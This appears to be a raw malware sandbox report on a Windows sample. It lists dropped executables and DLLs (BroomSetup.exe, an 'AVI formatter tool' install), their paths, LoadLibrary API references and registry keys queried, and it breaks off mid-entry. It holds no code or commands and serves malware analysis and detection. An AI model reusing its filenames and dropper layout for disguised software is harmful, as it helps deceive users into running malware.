00000000-00007348)55:T81e,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "BroomSetup.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "tuc4.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "288c47bbc1871b439df19ff4df68f076.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "InstallSetup9.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "aviformattertool.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "INetC.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_isdecmp.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "_iscrypt.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-ND51B.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-O940H.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-8EM8Q.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "tuc4.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-KGHLP.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-T2M3R.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-F1GN9.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-9F3KE.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-PU7KQ.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-Q1SH7.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-VNOL6.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-5BQCL.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-HITNB.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-L2OG8.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-4M261.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-Q1RQM.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE56:T680,Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")57:T2e85,"BroomSetup.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 11 sections"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00008552] "tuc4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\tuc4.exe]- [targetUID: 00000000-00001444] "288c47bbc1871b439df19ff4df68f076.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00008776] "InstallSetup9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\InstallSetup9.exe]- [targetUID: 00000000-00008776] "aviformattertool.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\aviformattertool.exe]- [targetUID: 00000000-00001444] "INetC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\nsmE8FF.tmp\INetC.dll]- [targetUID: 00000000-00008576] "_isdecmp.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_isdecmp.dll]- [targetUID: 00000000-00001444] "_iscrypt.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_iscrypt.dll]- [targetUID: 00000000-00001444] "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log" has type "CSV ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log]- [targetUID: 00000000-00008776] "Task.bat" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Temp\Task.bat]- [targetUID: 00000000-00008552] "is-5T5Q9.tmp" has type "DIY-Thermocam raw data (Lepton 2.x) scale 106--152 spot sensor temperature 0.000000 unit celsius color scheme 0 calibration: offset 0.000000 slope 413670277120.000000"- Location: [%LOCALAPPDATA%\AVI formatter tool\is-5T5Q9.tmp]- [targetUID: 00000000-00001444] "is-ND51B.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 9 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-ND51B.tmp]- [targetUID: 00000000-00001444] "is-O940H.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows 11 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-O940H.tmp]- [targetUID: 00000000-00001444] "is-8EM8Q.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\is-8EM8Q.tmp]- [targetUID: 00000000-00001444] "tuc4.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\is-LO8DU.tmp\tuc4.tmp]- [targetUID: 00000000-00001444] "is-KGHLP.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 11 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-KGHLP.tmp]- [targetUID: 00000000-00001444] "is-71DPG.tmp" has type "Zip archive data at least v2.0 to extract compression method=deflate"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\lessmsi\is-71DPG.tmp]- [targetUID: 00000000-00001444] "is-T2M3R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-T2M3R.tmp]- [targetUID: 00000000-00001444] "is-F1GN9.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-F1GN9.tmp]- [targetUID: 00000000-00001444] "is-9F3KE.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-9F3KE.tmp]- [targetUID: 00000000-00001444] "is-PU7KQ.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-PU7KQ.tmp]- [targetUID: 00000000-00001444] "is-Q1SH7.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1SH7.tmp]- [targetUID: 00000000-00001444] "is-VNOL6.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VNOL6.tmp]- [targetUID: 00000000-00001444] "is-5BQCL.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-5BQCL.tmp]- [targetUID: 00000000-00001444] "is-HITNB.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-HITNB.tmp]- [targetUID: 00000000-00001444] "is-L2OG8.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L2OG8.tmp]- [targetUID: 00000000-00001444] "is-4M261.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4M261.tmp]- [targetUID: 00000000-00001444] "is-Q1RQM.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows 8 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1RQM.tmp]- [targetUID: 00000000-00001444] "is-FEENV.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FEENV.tmp]- [targetUID: 00000000-00001444] "is-S9I84.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 7 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-S9I84.tmp]- [targetUID: 00000000-00001444] "is-14LP7.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-14LP7.tmp]- [targetUID: 00000000-00001444] "is-VEAGR.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 11 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VEAGR.tmp]- [targetUID: 00000000-00001444] "is-4SRP0.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4SRP0.tmp]- [targetUID: 00000000-00001444] "is-AMMN6.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-AMMN6.tmp]- [targetUID: 00000000-00001444] "is-L88TK.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L88TK.tmp]- [targetUID: 00000000-00001444] "is-H1H9R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-H1H9R.tmp]- [targetUID: 00000000-00001444] "is-RPG62.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-RPG62.tmp]- [targetUID: 00000000-00001444] "is-IT2IF.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-IT2IF.tmp]- [targetUID: 00000000-00001444] "is-117UC.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-117UC.tmp]- [targetUID: 00000000-00001444] "is-7PKJI.tmp" has type "ASCII text"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-7PKJI.tmp]- [targetUID: 00000000-00001444] "is-EUUPD.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-EUUPD.tmp]- [targetUID: 00000000-00001444] "is-1KBIS.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\plugins\internal\is-1KBIS.tmp]- [targetUID: 00000000-00001444] "is-0QOJT.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows 8 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-0QOJT.tmp]- [targetUID: 00000000-00001444] "is-FNDLB.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FNDLB.tmp]- [targetUID: 00000000-00001444] "is-D2IHO.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-D2IHO.tmp]- [targetUID: 00000000-00001444] "is-B3OEQ.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-B3OEQ.tmp]- [targetUID: 00000000-00001444] "is-R76LM.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-R76LM.tmp]- [targetUID: 00000000-00001444] "is-89QF9.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\plugins\internal\is-89QF9.tmp]- [targetUID: 00000000-00001444] "is-FTVUF.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FTVUF.tmp]- [targetUID: 00000000-00001444] "is-0VG2Q.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-0VG2Q.tmp]- [targetUID: 00000000-00001444] "unins000.dat" has type "InnoSetup Log AVI formatter tool version 0x30 8307 bytes Xil0dnJ3syIhrGt\AQnU8tT "C:\Users\HAPUBWS\AppData\Local\AVI formatter tool""- Location: [%LOCALAPPDATA%\AVI formatter tool\unins000.dat]- [targetUID: 00000000-00001444] "is-SM0SU.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-SM0SU.tmp]- [targetUID: 00000000-00001444] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00001444] "is-IEB6T.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-IEB6T.tmp]- [targetUID: 00000000-00001444] "_RegDLL.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_RegDLL.tmp]- [targetUID: 00000000-00001444] "is-TOJOD.tmp" has type "Unicode text UTF-8 (with BOM) text with CRLF line terminators"- Location: [%LOCALAPPDATA%\AVI formatter tool\stuff\is-TOJOD.tmp]- [targetUID: 00000000-00001444] "is-OH6C9.tmp" has type "IFF data"- Location: [%LOCALAPPDATA%\AVI formatter tool\stuff\is-OH6C9.tmp]- [targetUID: 00000000-00001444] "is-NCI72.tmp" has type "Unicode text UTF-8 text"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-NCI72.tmp]- [targetUID: 00000000-00001444] "is-CH52A.tmp" has type "Unicode text UTF-8 (with BOM) text with CRLF line terminators"- Location: [%LOCALAPPDATA%\AVI formatter tool\stuff\is-CH52A.tmp]- [targetUID: 00000000-00001444] "is-43A96.tmp" has type "IFF data"- Location: [%LOCALAPPDATA%\AVI formatter tool\stuff\is-43A96.tmp]- [targetUID: 00000000-00001444]58:T1140,"is-5T5Q9.tmp" has type "DIY-Thermocam raw data (Lepton 2.x) scale 106--152 spot sensor temperature 0.000000 unit celsius color scheme 0 calibration: offset 0.000000 slope 413670277120.000000" - Location: [%LOCALAPPDATA%\AVI formatter tool\is-5T5Q9.tmp] "is-ND51B.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 9 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-ND51B.tmp] "is-O940H.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows 11 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-O940H.tmp] "is-8EM8Q.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\is-8EM8Q.tmp] "tuc4.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections" - Location: [%TEMP%\is-LO8DU.tmp\tuc4.tmp] "is-KGHLP.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 11 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-KGHLP.tmp] "is-71DPG.tmp" has type "Zip archive data at least v2.0 to extract compression method=deflate" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\lessmsi\is-71DPG.tmp] "is-T2M3R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-T2M3R.tmp] "is-F1GN9.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-F1GN9.tmp] "is-9F3KE.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-9F3KE.tmp] "is-PU7KQ.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 6 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-PU7KQ.tmp] "is-Q1SH7.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1SH7.tmp] "is-VNOL6.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VNOL6.tmp] "is-5BQCL.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-5BQCL.tmp] "is-HITNB.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-HITNB.tmp] "is-L2OG8.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L2OG8.tmp] "is-4M261.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4M261.tmp] "is-Q1RQM.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows 8 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1RQM.tmp] "is-FEENV.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FEENV.tmp] "is-S9I84.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 7 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-S9I84.tmp] "is-14LP7.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-14LP7.tmp] "is-VEAGR.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 11 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VEAGR.tmp] "is-4SRP0.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4SRP0.tmp] "is-AMMN6.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-AMMN6.tmp] "is-L88TK.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L88TK.tmp]59:T7e1,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\APPLICATIONS\1CA559E6B5928C568FBB4F8DE0BCB564F687774CBC1E1963BA9AF862497F82EB.EXE"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "")5a:T1537,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "ENABLESHELLEXECUTEHOOKS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "ENABLESHELLEXECUTEHOOKS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; 